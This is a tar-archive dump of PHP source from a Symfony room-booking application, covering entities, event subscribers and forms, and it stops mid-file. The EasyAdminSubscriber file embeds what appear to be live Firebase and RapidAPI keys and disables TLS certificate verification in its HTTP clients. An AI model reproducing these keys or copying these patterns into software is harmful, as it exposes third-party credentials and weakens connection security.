ustar 00 <?php namespace App\Entity; use App\Repository\AnnounceChannelRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; use ApiPlatform\Core\Annotation\ApiResource; /** @ApiResource() * @ORM\Entity(repositoryClass=AnnounceChannelRepository::class) */ class AnnounceChannel { /** * @ORM\Id * @ORM\GeneratedValue * @ORM\Column(type="integer") */ private $id; /** * @ORM\ManyToOne(targetEntity=Announce::class, inversedBy="announceChannels") * @ORM\JoinColumn(nullable=false) */ private $announce; /** * @ORM\Column(type="datetime") */ private $createdAt; /** * @ORM\ManyToOne(targetEntity=User::class, inversedBy="announceChannels") * @ORM\JoinColumn(nullable=false) */ private $createdBy; /** * @ORM\OneToMany(targetEntity=AnnounceChat::class, mappedBy="channel", orphanRemoval=true) */ private $announceChats; /** * @ORM\Column(type="integer") */ private $offer; public function __construct() { $this->announceChats = new ArrayCollection(); $this->createdAt = new \DateTime( ); } public function getId(): ?int { return $this->id; } public function getAnnounce(): ?Announce { return $this->announce; } public function setAnnounce(?Announce $announce): self { $this->announce = $announce; return $this; } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getCreatedBy(): ?User { return $this->createdBy; } public function setCreatedBy(?User $createdBy): self { $this->createdBy = $createdBy; return $this; } /** * @return Collection<int, AnnounceChat> */ public function getAnnounceChats(): Collection { return $this->announceChats; } public function addAnnounceChat(AnnounceChat $announceChat): self { if (!$this->announceChats->contains($announceChat)) { $this->announceChats[] = $announceChat; $announceChat->setChannel($this); } return $this; } public function removeAnnounceChat(AnnounceChat $announceChat): self { if ($this->announceChats->removeElement($announceChat)) { // set the owning side to null (unless already changed) if ($announceChat->getChannel() === $this) { $announceChat->setChannel(null); } } return $this; } public function getOffer(): ?int { return $this->offer; } public function setOffer(int $offer): self { $this->offer = $offer; return $this; } } Entity/AnnounceChat.php 0000644 00000004723 15117152230 0011102 0 ustar 00 <?php namespace App\Entity; use App\Repository\AnnounceChatRepository; use Doctrine\ORM\Mapping as ORM; use ApiPlatform\Core\Annotation\ApiResource; /** @ApiResource() * @ORM\Entity(repositoryClass=AnnounceChatRepository::class) */ class AnnounceChat { /** * @ORM\Id * @ORM\GeneratedValue * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="text") */ private $message; /** * @ORM\ManyToOne(targetEntity=User::class, inversedBy="announceChats") * @ORM\JoinColumn(nullable=false) */ private $sendBy; /** * @ORM\Column(type="datetime") */ private $createdAt; /** * @ORM\Column(type="string", length=255) */ private $messageType; /** * @ORM\ManyToOne(targetEntity=AnnounceChannel::class, inversedBy="announceChats") * @ORM\JoinColumn(nullable=false) */ private $channel; /** * @ORM\Column(type="boolean", nullable=true) */ private $vue; public function getId(): ?int { return $this->id; } public function getMessage(): ?string { return $this->message; } public function setMessage(string $message): self { $this->message = $message; return $this; } public function getSendBy(): ?User { return $this->sendBy; } public function setSendBy(?User $sendBy): self { $this->sendBy = $sendBy; return $this; } public function __construct() { $this->createdAt = new \DateTime( ); $this->setVue(false); } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getMessageType(): ?string { return $this->messageType; } public function setMessageType(string $messageType): self { $this->messageType = $messageType; return $this; } public function getChannel(): ?AnnounceChannel { return $this->channel; } public function setChannel(?AnnounceChannel $channel): self { $this->channel = $channel; return $this; } public function isVue(): ?bool { return $this->vue; } public function setVue(?bool $vue): self { $this->vue = $vue; return $this; } } Entity/BuildingOption.php 0000644 00000005364 15117152230 0011464 0 ustar 00 <?php namespace App\Entity; use App\Repository\BuildingOptionRepository; use Doctrine\ORM\Mapping as ORM; use ApiPlatform\Core\Annotation\ApiResource; /** @ApiResource() * @ORM\Entity(repositoryClass=BuildingOptionRepository::class) */ class BuildingOption { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="integer", nullable=true) */ private $notiriety; /** * @ORM\Column(type="boolean", nullable=true) */ private $parking; /** * @ORM\Column(type="boolean", nullable=true) */ private $pool; /** * @ORM\Column(type="boolean", nullable=true) */ private $miniBar; /** * @ORM\Column(type="boolean", nullable=true) */ private $conferenceRoom; /** * @ORM\Column(type="boolean", nullable=true) */ private $restaurant; public function getId(): ?int { return $this->id; } public function getNotiriety(): ?int { return $this->notiriety; } public function setNotiriety(?int $notiriety): self { $this->notiriety = $notiriety; return $this; } public function getParking(): ?bool { return $this->parking; } public function setParking(?bool $parking): self { $this->parking = $parking; return $this; } public function getPool(): ?bool { return $this->pool; } public function setPool(?bool $pool): self { $this->pool = $pool; return $this; } public function getMiniBar(): ?bool { return $this->miniBar; } public function setMiniBar(?bool $miniBar): self { $this->miniBar = $miniBar; return $this; } public function getConferenceRoom(): ?bool { return $this->conferenceRoom; } public function setConferenceRoom(?bool $conferenceRoom): self { $this->conferenceRoom = $conferenceRoom; return $this; } public function getRestaurant(): ?bool { return $this->restaurant; } public function setRestaurant(?bool $restaurant): self { $this->restaurant = $restaurant; return $this; } public function __toString() { // TODO: Implement __toString() method. return "(".$this->id.")Parking: ". $this->getState($this->parking).", Bar: ".$this->getState($this->miniBar).", Restaurant: ".$this->getState($this->restaurant).", Conference: ".$this->getState($this->conferenceRoom).", Pool: ".$this->getState($this->pool); } public function getState($boolean){ if($boolean){ return "Yes"; }else{ return "No"; } } } Event/CustomEvent.php 0000644 00000000565 15117152230 0010615 0 ustar 00 <?php namespace App\Event; use Doctrine\DBAL\Types\DateImmutableType; use Symfony\Contracts\EventDispatcher\Event; class CustomEvent extends Event { private $timestamp; public function __construct() { $this->timestamp= new \DateTimeImmutable(); } public function getDateTime():\DateTimeImmutable{ return $this->timestamp; } } Event/CustomEventListener.php 0000644 00000000617 15117152230 0012321 0 ustar 00 <?php namespace App\Event; use Psr\Log\LoggerInterface; class CustomEventListener{ private $logger; public function __construct( LoggerInterface $logger ) { $this->logger=$logger; } public function onCustomEvent(CustomEvent $event):void{ $this->logger->info("un customeEvent est survenue au timestamp suivant: {$event->getDateTime()->getTimestamp()}"); } } Event/CustomEventSubscriber.php 0000644 00000001547 15117152230 0012642 0 ustar 00 <?php namespace App\Event; use Doctrine\Common\EventSubscriber; use Psr\Log\LoggerInterface; use Symfony\Component\HttpKernel\Event\ResponseEvent; use Symfony\Component\HttpKernel\KernelEvents; class CustomEventSubscriber implements EventSubscriber { private $logger; public function __construct( LoggerInterface $logger ) { $this->logger=$logger; } public function getSubscribedEvents() { // TODO: Implement getSubscribedEvents() method. return [ KernelEvents::RESPONSE=> ['onPreResponseEvent'], ['onPostResponseEvent',10], ]; } public function onPreResponseEvent(ResponseEvent $event):void{ $this->logger->info(__METHOD__); } public function onPostResponseEvent(ResponseEvent $event):void{ $this->logger->info(__METHOD__); } } Event/ExceptionListener.php 0000644 00000003060 15117152230 0011776 0 ustar 00 <?php namespace App\Event; use App\Kernel; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Event\ExceptionEvent; use Symfony\Component\HttpKernel\Event\ResponseEvent; use Symfony\Component\HttpKernel\Exception\NotFoundHttpException; use Twig\Environment; class ExceptionListener { private $twig; private $request; public function __construct( Environment $environment ) { $this->twig=$environment; } public function onKernelException(ExceptionEvent $event):void{ $exception=$event->getThrowable(); if(!$exception instanceof NotFoundHttpException){ return; } $content=$this->twig->render('exception/not_found.html.twig',[ 'companyName' =>"Loger", ]); $event->setResponse((new Response())->setContent($content)); } public function onKernelResponse(ResponseEvent $event) { if (!$event->getKernel()->isDebug()) { return; } $request = $event->getRequest(); if (!$request->isXmlHttpRequest()) { return; } $response = $event->getResponse(); $response->headers->set('Symfony-Debug-Toolbar-Replace', 1); } public function getRequest() { if ($this->kernel->getContainer()->has('request')) { $request = $this->kernel->getContainer()->get('request'); } else { $request = Request::createFromGlobals(); } return $request; } } Event/LoginListener.php 0000644 00000001555 15117152230 0011117 0 ustar 00 <?php namespace App\Event; use DateTimeImmutable; use Doctrine\ORM\EntityManagerInterface; use Symfony\Component\Security\Http\Event\InteractiveLoginEvent; class LoginListener { private $em; public function __construct(EntityManagerInterface $em) { $this->em = $em; } public function onSecurityInteractiveLogin(InteractiveLoginEvent $event) { // Récupère l'utilisateur $user = $event->getAuthenticationToken()->getUser(); // MAJ le champ setDerniereDateConnexion $user->setLastLogin(new DateTimeImmutable()); $compteur = $user->getLoginInCount(); if(is_null($compteur)){ $compteur=0; } $compteur++; $user->setLoginInCount($compteur); // Enregistrement de la MAJ $this->em->persist($user); $this->em->flush(); } } Event/RequestSubscriber.php 0000644 00000002075 15117152230 0012013 0 ustar 00 <?php namespace App\Event; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\HttpKernel\Event\RequestEvent; use Symfony\Component\HttpKernel\KernelEvents; use Symfony\Component\Security\Http\Util\TargetPathTrait; class RequestSubscriber implements EventSubscriberInterface { use TargetPathTrait; private $session; public function __construct(SessionInterface $session) { $this->session = $session; } public function onKernelRequest(RequestEvent $event): void { $request = $event->getRequest(); if ( !$event->isMasterRequest() || $request->isXmlHttpRequest() || 'app_login' === $request->attributes->get('_route') ) { return; } $this->saveTargetPath($this->session, 'main', $request->getUri()); } public static function getSubscribedEvents(): array { return [ KernelEvents::REQUEST => ['onKernelRequest'] ]; } } Event/EasyAdminSubscriber.php 0000644 00000051266 15117152230 0012243 0 ustar 00 <?php namespace App\Event; use App\Entity\BookingRoom; use App\Entity\BuildingOption; use App\Entity\Company; use App\Entity\Country; use App\Entity\Logs; use App\Entity\NotificationPush; use App\Entity\Payment; use App\Entity\Room; use App\Entity\RoomOption; use App\Entity\Town; use App\Entity\User; use App\Security\EmailVerifier; use App\Service\Notification; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Event\AfterCrudActionEvent; use EasyCorp\Bundle\EasyAdminBundle\Event\AfterEntityBuiltEvent; use EasyCorp\Bundle\EasyAdminBundle\Event\AfterEntityPersistedEvent; use EasyCorp\Bundle\EasyAdminBundle\Event\BeforeCrudActionEvent; use EasyCorp\Bundle\EasyAdminBundle\Event\BeforeEntityPersistedEvent; use EasyCorp\Bundle\EasyAdminBundle\Event\BeforeEntityUpdatedEvent; use EasyCorp\Bundle\EasyAdminBundle\Event\BeforeEntityDeletedEvent; use Exception; use GuzzleHttp\Exception\RequestException; use Psr\Log\LoggerInterface; use Symfony\Bridge\Twig\Mime\TemplatedEmail; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\HttpKernel\KernelInterface; use Symfony\Component\HttpKernel\Log\Logger; use Symfony\Component\Mime\Address; use Symfony\Component\Notifier\Bridge\Firebase\FirebaseTransport; use Symfony\Component\Notifier\Bridge\Firebase\Notification\AndroidNotification; use Symfony\Component\Notifier\Chatter; use Symfony\Component\Notifier\ChatterInterface; use Symfony\Component\Notifier\Event\MessageEvent; use Symfony\Component\Notifier\Message\ChatMessage; use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface; use Symfony\Component\Routing\Generator\UrlGeneratorInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken; use Symfony\Component\Security\Http\Event\InteractiveLoginEvent; use Symfony\Component\Translation\TranslatableMessage; use Symfony\Contracts\Translation\TranslatorInterface; class EasyAdminSubscriber implements EventSubscriberInterface { private $environment; const RESEND_MAIL = "app_resend_email"; const GENERATE_PAYMENT = "app_payment"; const NOTIFY_PAYMENT = "app_payment_notify"; private $emailVerifier; private $token; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; private $entityManager; private $chatter; private $logger; private $encoder; private $urlGenerator; public function __construct(EmailVerifier $emailVerifier, UserPasswordHasherInterface $encoder, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, ChatterInterface $chatter, LoggerInterface $logger, KernelInterface $kernel, UrlGeneratorInterface $urlGenerator, EntityManagerInterface $entityManager, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->chatter = $chatter; $this->logger = $logger; $this->encoder = $encoder; $this->urlGenerator = $urlGenerator; $this->environment = $kernel->getEnvironment(); $this->requestStack=$requestStack; $this->entityManager=$entityManager; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; } public static function getSubscribedEvents() { return [ BeforeCrudActionEvent::class => ['setUserApp'], AfterEntityBuiltEvent::class => ['onAfterBuiltEntity'], AfterCrudActionEvent::class => ['afterCrudLaunch'], AfterEntityPersistedEvent::class => ['onCreateEntity'], BeforeEntityUpdatedEvent::class => ['onUpdateEntity'], BeforeEntityDeletedEvent::class => ['onDeleteEntity'], BeforeEntityPersistedEvent::class => ['onBeforeCreateEntity'], ]; } public function afterCrudLaunch(AfterCrudActionEvent $event){ } public function setUserApp(BeforeCrudActionEvent $event) { $context = $event->getAdminContext(); } public function onCreateEntity(AfterEntityPersistedEvent $event){ $error=false; $entity = $event->getEntityInstance(); if($entity instanceof BookingRoom) { if ($entity->getPayment()->getAmount() != $entity->getRoom()->getCost()) { $this->session->getFlashBag()->add("warning", "Payment amount did'nt match with the room cost"); $error = true; } if ($entity->getArrivalDate() > $entity->getDepartureDate()) { $this->session->getFlashBag()->add("warning", "Invalid departure date " . $entity->getDepartureDate()->format("Y-m-d") . ". It's supposed to be greater than arrival date " . $entity->getArrivalDate()->format("Y-m-d")); $error = true; } $bookings=$this->entityManager->getRepository(BookingRoom::class)->findByPeriodRoomBook($entity->getArrivalDate()->format("Y-m-d"),$entity->getDepartureDate()->format("Y-m-d"), $entity->getRoom()->getId()); if(!empty($bookings)){ $this->session->getFlashBag()->add("warning", "Room " . $entity->getRoom() . " is not available on this period " . $entity->getArrivalDate()->format("Y-m-d")." - ".$entity->getDepartureDate()->format("Y-m-d").". Total bookings: ".sizeof($bookings)); $error = true; } if ($error) { $this->entityManager->remove($entity); }else{ $transactionRef= new TransactionRef(); $transactionRef->amount=$entity->getPayment()->getAmount(); $transactionRef->userId=$entity->getUser()->getId(); $transactionRef->roomId=$entity->getRoom()->getId(); $transactionRef->createdDate=$entity->getCreatedAt()->format("Y-m-d H:i:s"); $entity->getPayment()->setTransactionRef( sha1(json_encode($transactionRef)) ); $token= new Token(); $token->amount=$entity->getPayment()->getAmount(); $token->booking=$entity->getId(); $token->ref= $entity->getPayment()->getTransactionRef(); $entity->getPayment()->setPaymentToken( base64_encode(json_encode( $token)) ); $entity->setPaymentLink($this->getGeneratePaymentUrl($entity)); $entity->setPaymentNotificationLink($this->getNotifyPaymentLink()); $this->entityManager->persist($entity); $this->entityManager->flush(); } } if(!$error) $this->session->getFlashBag()->add('success', new TranslatableMessage('content_admin.flash_message.create', [ '%name%' => (string) $event->getEntityInstance(), ], 'admin')); $log= new Logs(); $log->setActivity("create new entity ".$entity); $log->setIpAddress($this->requestStack->getCurrentRequest()->getClientIp()); $user = $this->entityManager->getRepository(User::class)->findOneBy( ['id' => $_SESSION["userId"]] ); $log->setUser($user); $this->entityManager->persist($log); $this->entityManager->flush(); if($entity instanceof User){ $entity->setResendMail($this->getResendEmailUrl($entity)); $this->entityManager->persist($entity); $this->entityManager->flush(); } if($entity instanceof Room){ $serverKey="AAAAOSFzLyc:APA91bEBmPSN8xq2h4vYDs4wW5UfhoMTdy-Y3VclpUqIVkoe4svv5tsBLFxczyqdePX4YoIZ4gKuZxKBwM5MrrjdDG98oi5YwM00roWfuOTio_sc83TC1l5D8zyjfBgaschvw22o8EiK"; $host=$this->requestStack->getCurrentRequest()->getBaseUrl(); $client = new \GuzzleHttp\Client([ 'headers' => [ 'Content-Type' => 'application/json', 'Authorization' => 'Bearer '.$serverKey ] ]); $notification= new Notification(); $notification->setTitle("New Added in ".$entity->getBuilding()); $notification->setImage($entity->getPicture()); $notification->setData("Room ".$entity); $notification->setMessage("Room ".$entity); $notification->setAction(""); $response = $client->post('https://fcm.googleapis.com/fcm/send', [ "json" => [ 'to' => '/topics/loger', 'data' => [ "title"=>$notification->getTitle(), "image"=>$notification->getImage(), "data"=>$notification->getData(), "message"=>$notification->getMessage(), "action"=>$notification->getAction(), "action_destination"=>$notification->getActionDestination(), ] ] ]); $responseBodies=json_decode($response->getBody()->getContents()); } if($entity instanceof NotificationPush){ $serverKey="AAAAOSFzLyc:APA91bEBmPSN8xq2h4vYDs4wW5UfhoMTdy-Y3VclpUqIVkoe4svv5tsBLFxczyqdePX4YoIZ4gKuZxKBwM5MrrjdDG98oi5YwM00roWfuOTio_sc83TC1l5D8zyjfBgaschvw22o8EiK"; $host=$this->requestStack->getCurrentRequest()->getBaseUrl(); $client = new \GuzzleHttp\Client([ 'headers' => [ 'Content-Type' => 'application/json', 'Authorization' => 'Bearer '.$serverKey ], 'verify'=>false ]); $notification= new Notification(); $notification->setTitle($entity->getTitle()); $notification->setImage($entity->getImage()); $notification->setData($entity->getMessage()); $notification->setMessage($entity->getMessage()); $notification->setAction(""); foreach ($entity->getFirebaseToken() as $token) { $response = $client->post('https://fcm.googleapis.com/fcm/send', [ "json" => [ 'to' => $token->getDeviseId(), 'data' => [ "title"=>$notification->getTitle(), "image"=>$notification->getImage(), "data"=>$notification->getData(), "message"=>$notification->getMessage(), "action"=>$notification->getAction(), "action_destination"=>$notification->getActionDestination(), ] ] ]); $responseBodies=json_decode($response->getBody()->getContents()); try { if(($responseBodies->success)){ $this->session->getFlashBag()->add('info', "Notification broacasted with id: ".$responseBodies->multicast_id); $entity->setHasBeenSent(true); }else{ $entity->setHasBeenSent(false); } }catch (Exception $exception){ } } } } public function onBeforeCreateEntity(BeforeEntityPersistedEvent $event){ $entity = $event->getEntityInstance(); if($entity instanceof User) { $encoded = $this->encoder->hashPassword($entity, $entity->getPlainPassword()); $entity->setPassword($encoded); $entity->setUsername($entity->getEmail()); $this->entityManager->persist($entity); $this->entityManager->flush(); // generate a signed url and email it to the user $this->emailVerifier->sendEmailConfirmation('app_verify_email', $entity, (new TemplatedEmail()) ->from(new Address('noreply@loger.cm', 'LOGER CM - NO REPLY')) ->to($entity->getEmail()) ->subject('Please Confirm your Email') ->htmlTemplate('registration/confirmation_email.html.twig') ); // do anything else you need here, like send an email // @TODO Change the redirect on success and handle or remove the flash message in your templates $this->session-> getFlashBag()->add('success', 'Email send to verify the mail address.'); } } public function onAfterBuiltEntity(AfterEntityBuiltEvent $event){ $entity = $event->getEntity(); } public function onUpdateEntity(BeforeEntityUpdatedEvent $event){ $entity = $event->getEntityInstance(); $this->session->getFlashBag()->add('success', new TranslatableMessage('content_admin.flash_message.update', [ '%name%' => (string) $entity, ], 'admin')); $log= new Logs(); $log->setActivity("update entity ".$entity); $log->setIpAddress($this->requestStack->getCurrentRequest()->getClientIp()); $user = $this->entityManager->getRepository(User::class)->findOneBy( ['id' => $_SESSION["userId"]] ); $log->setUser($user); $this->entityManager->persist($log); $this->entityManager->flush(); if($entity instanceof Country){ $this->session->getFlashBag()->add('info', "searching towns in progress..."); $this->getTowns($entity); } if($entity instanceof User){ $entity->setResendMail($this->getResendEmailUrl($entity)); $entity->setUpdateAt(new \DateTimeImmutable()); $this->entityManager->persist($entity); $this->entityManager->flush(); } if($entity instanceof BookingRoom){ $transactionRef= new TransactionRef(); $transactionRef->amount=$entity->getPayment()->getAmount(); $transactionRef->userId=$entity->getUser()->getId(); $transactionRef->roomId=$entity->getRoom()->getId(); $transactionRef->createdDate=$entity->getCreatedAt()->format("Y-m-d H:i:s"); $entity->getPayment()->setTransactionRef( sha1(json_encode($transactionRef)) ); $token= new Token(); $token->amount=$entity->getPayment()->getAmount(); $token->booking=$entity->getId(); $token->ref= $entity->getPayment()->getTransactionRef(); $entity->getPayment()->setPaymentToken( base64_encode(json_encode( $token)) ); $entity->setPaymentLink($this->getGeneratePaymentUrl($entity)); $entity->setPaymentNotificationLink($this->getNotifyPaymentLink()); $this->entityManager->persist($entity); $this->entityManager->flush(); } if($entity instanceof Room){ $serverKey="AAAAOSFzLyc:APA91bEBmPSN8xq2h4vYDs4wW5UfhoMTdy-Y3VclpUqIVkoe4svv5tsBLFxczyqdePX4YoIZ4gKuZxKBwM5MrrjdDG98oi5YwM00roWfuOTio_sc83TC1l5D8zyjfBgaschvw22o8EiK"; $host=$this->requestStack->getCurrentRequest()->getBaseUrl(); $client = new \GuzzleHttp\Client([ 'headers' => [ 'Content-Type' => 'application/json', 'Authorization' => 'Bearer '.$serverKey ], 'verify'=>false ]); $notification= new Notification(); $notification->setTitle("New update in ".$entity->getBuilding()); $notification->setImage($entity->getPicture()); $notification->setData("Room ".$entity); $notification->setMessage("Room ".$entity); $notification->setAction(""); $response = $client->post('https://fcm.googleapis.com/fcm/send', [ "json" => [ 'to' => '/topics/loger', 'data' => [ "title"=>$notification->getTitle(), "image"=>$notification->getImage(), "data"=>$notification->getData(), "message"=>$notification->getMessage(), "action"=>$notification->getAction(), "action_destination"=>$notification->getActionDestination(), ] ] ]); $responseBodies=json_decode($response->getBody()->getContents()); $this->session->getFlashBag()->add('info', "Notification broacasted with id: ".$responseBodies->message_id); } } public function onDeleteEntity(BeforeEntityDeletedEvent $event){ $entity=$event->getEntityInstance(); $this->session->getFlashBag()->add('success', new TranslatableMessage('content_admin.flash_message.delete', [ '%name%' => (string) $entity, ], 'admin')); $log= new Logs(); $log->setActivity("delete entity ".$entity); $log->setIpAddress($this->requestStack->getCurrentRequest()->getClientIp()); $user = $this->entityManager->getRepository(User::class)->findOneBy( ['id' => $_SESSION["userId"]] ); $log->setUser($user); $this->entityManager->persist($log); $this->entityManager->flush(); if($entity instanceof BookingRoom){ $entity->getRoom()->setIsFree(true); $this->entityManager->persist($entity); $this->entityManager->flush(); } } public function getTowns(Country $country){ $client = new \GuzzleHttp\Client(); try { $response = $client->request('GET', 'https://wft-geo-db.p.rapidapi.com/v1/geo/cities?countryIds='.$country->getCode()."&offset=".$country->getOffset()."&limit=5", [ 'headers' => [ 'X-RapidAPI-Host' => 'wft-geo-db.p.rapidapi.com', 'X-RapidAPI-Key' => 'd01923dc5amsh8cc5a1094d152c2p117a73jsneebdb0db3f67', ], 'verify' => false ]); $responseBodies=json_decode($response->getBody()->getContents()); $offset=$country->getOffset()+sizeof($responseBodies->data); foreach ($responseBodies->data as $responseTown){ $town=new Town(); $town->setCountry($country); $town->setTownName($responseTown-> name); $town->setLatitude($responseTown-> latitude); $town->setLongitude($responseTown-> longitude); $town->setRegion($responseTown-> longitude); $town->setPopulation($responseTown-> population); $town->setIsCapital(false); $dbTown=$this->entityManager->getRepository(Town::class)->findOneByName($responseTown-> name); if (empty($dbTown)) { $this->entityManager->persist($town); $this->entityManager->flush(); $this->session->getFlashBag()->add('success', $town." added"); }else{ $dbTown->setLatitude($responseTown-> latitude); $dbTown->setLongitude($responseTown-> longitude); $dbTown->setPopulation($responseTown-> population); $dbTown->setRegion($responseTown-> region); $this->entityManager->persist($dbTown); $this->entityManager->flush(); $offset--; $this->session->getFlashBag()->add('success', $town." updated"); } } $country->setOffset( $offset); $this->entityManager->persist($country); if($offset<$responseBodies->metadata->totalCount){ $this->getTowns($country); } }catch (RequestException $exception){ } } public function getResendEmailUrl(User $user): string { return $this->urlGenerator->generate(self::RESEND_MAIL,["user"=>$user->id]); } public function getGeneratePaymentUrl(BookingRoom $bookingRoom): string { return $this->urlGenerator->generate(self::GENERATE_PAYMENT,["token"=>$bookingRoom->getPayment()->getPaymentToken()]); } public function getNotifyPaymentLink(): string { return $this->urlGenerator->generate(self::NOTIFY_PAYMENT); } } Event/Token.php 0000644 00000000152 15117152230 0007411 0 ustar 00 <?php namespace App\Event; class Token { public $amount; public $ref; public $booking; } Event/TransactionRef.php 0000644 00000000216 15117152230 0011254 0 ustar 00 <?php namespace App\Event; class TransactionRef { public $amount; public $userId; public $roomId; public $createdDate; } Event/DatabaseActivitySubscriber.php 0000644 00000010311 15117152230 0013574 0 ustar 00 <?php namespace App\Event; use App\Entity\AnnounceChannel; use App\Entity\BookingRoom; use App\Security\EmailVerifier; use Doctrine\Bundle\DoctrineBundle\EventSubscriber\EventSubscriberInterface; use Doctrine\ORM\EntityManagerInterface; use Doctrine\ORM\Events; use Doctrine\Persistence\Event\LifecycleEventArgs; use Psr\Log\LoggerInterface; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\HttpKernel\KernelInterface; use Symfony\Component\Notifier\ChatterInterface; use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface; use Symfony\Component\Routing\Generator\UrlGeneratorInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class DatabaseActivitySubscriber implements EventSubscriberInterface { private $environment; const RESEND_MAIL = "app_resend_email"; const GENERATE_PAYMENT = "app_payment"; const NOTIFY_PAYMENT = "app_payment_notify"; private $emailVerifier; private $token; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; private $entityManager; private $chatter; private $logger; private $encoder; private $urlGenerator; public function __construct(EmailVerifier $emailVerifier, UserPasswordHasherInterface $encoder, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, ChatterInterface $chatter, LoggerInterface $logger, KernelInterface $kernel, UrlGeneratorInterface $urlGenerator, EntityManagerInterface $entityManager, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->chatter = $chatter; $this->logger = $logger; $this->encoder = $encoder; $this->urlGenerator = $urlGenerator; $this->environment = $kernel->getEnvironment(); $this->requestStack=$requestStack; $this->entityManager=$entityManager; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; } // this method can only return the event names; you cannot define a // custom method name to execute when each event triggers public function getSubscribedEvents(): array { return [ Events::postPersist, Events::postRemove, Events::postUpdate, ]; } // callback methods must be called exactly like the events they listen to; // they receive an argument of type LifecycleEventArgs, which gives you access // to both the entity object of the event and the entity manager itself public function postPersist(LifecycleEventArgs $args): void { $entity = $args->getObject(); $this->logActivity('persist', $args); } public function postRemove(LifecycleEventArgs $args): void { $this->logActivity('remove', $args); } public function postUpdate(LifecycleEventArgs $args): void { $this->logActivity('update', $args); } private function logActivity(string $action, LifecycleEventArgs $args): void { $entity = $args->getObject(); // if this subscriber only applies to certain entity types, // add some code to check the entity type as early as possible if ($entity instanceof AnnounceChannel && $action=="persist") { $this->session->getFlashBag()->add("success", "new channel has been created ". $entity->getId()." at 3 " ); return; } if ($entity instanceof AnnounceChannel && $action=="update") { $this->session->getFlashBag()->add("success", "Channel has been created ". $entity->getId()." at 5" ); return; } // ... get the entity information and log it somehow } } Form/RegistrationFormType.php 0000644 00000003732 15117152230 0012322 0 ustar 00 <?php namespace App\Form; use App\Entity\User; use Symfony\Component\Form\AbstractType; use Symfony\Component\Form\Extension\Core\Type\CheckboxType; use Symfony\Component\Form\Extension\Core\Type\PasswordType; use Symfony\Component\Form\FormBuilderInterface; use Symfony\Component\OptionsResolver\OptionsResolver; use Symfony\Component\Validator\Constraints\IsTrue; use Symfony\Component\Validator\Constraints\Length; use Symfony\Component\Validator\Constraints\NotBlank; class RegistrationFormType extends AbstractType { public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('lastName') ->add('firstName') ->add('phoneNumber') ->add('email') ->add('agreeTerms', CheckboxType::class, [ 'mapped' => false, 'constraints' => [ new IsTrue([ 'message' => 'You should agree to our terms.', ]), ], ]) ->add('plainPassword', PasswordType::class, [ // instead of being set onto the object directly, // this is read and encoded in the controller 'mapped' => false, 'attr' => ['autocomplete' => 'new-password'], 'constraints' => [ new NotBlank([ 'message' => 'Please enter a password', ]), new Length([ 'min' => 6, 'minMessage' => 'Your password should be at least {{ limit }} characters', // max length allowed by Symfony for security reasons 'max' => 4096, ]), ], ]) ; } public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'data_class' => User::class, ]); } } Form/UserType.php 0000644 00000001267 15117152230 0007743 0 ustar 00 <?php namespace App\Form; use App\Entity\User; use Symfony\Component\Form\AbstractType; use Symfony\Component\Form\FormBuilderInterface; use Symfony\Component\OptionsResolver\OptionsResolver; class UserType extends AbstractType { public function buildForm(FormBuilderInterface $builder, array $options) { $builder ->add('username') ->add('email') ->add('plainPassword') ->add('roles') ->add('lastName') ->add('firstName') ; } public function configureOptions(OptionsResolver $resolver) { $resolver->setDefaults([ 'data_class' => User::class, ]); } } Form/MediaObjectType.php 0000644 00000004330 15117152230 0011165 0 ustar 00 <?php namespace App\Form; use App\Entity\MediaObject; use Symfony\Component\Form\AbstractType; use Symfony\Component\Form\Extension\Core\Type\ChoiceType; use Symfony\Component\Form\Extension\Core\Type\FileType; use Symfony\Component\Form\FormBuilderInterface; use Symfony\Component\OptionsResolver\OptionsResolver; use Symfony\Component\Validator\Constraints\File; class MediaObjectType extends AbstractType { public function buildForm(FormBuilderInterface $builder, array $options) { $builder // ... ->add('media', FileType::class, [ 'label' => 'Add New (Image file)', // unmapped means that this field is not associated to any entity property 'mapped' => false, // make it optional so you don't have to re-upload the PDF file // every time you edit the Product details 'required' => false, // unmapped fields can't define their validation using annotations // in the associated entity, so you can use the PHP constraint classes 'constraints' => [ new File([ 'maxSize' => '8024k', 'mimeTypes' => [ 'image/*' ], 'mimeTypesMessage' => 'Please upload a valid image', ]) ], ]) ->add('file_type', 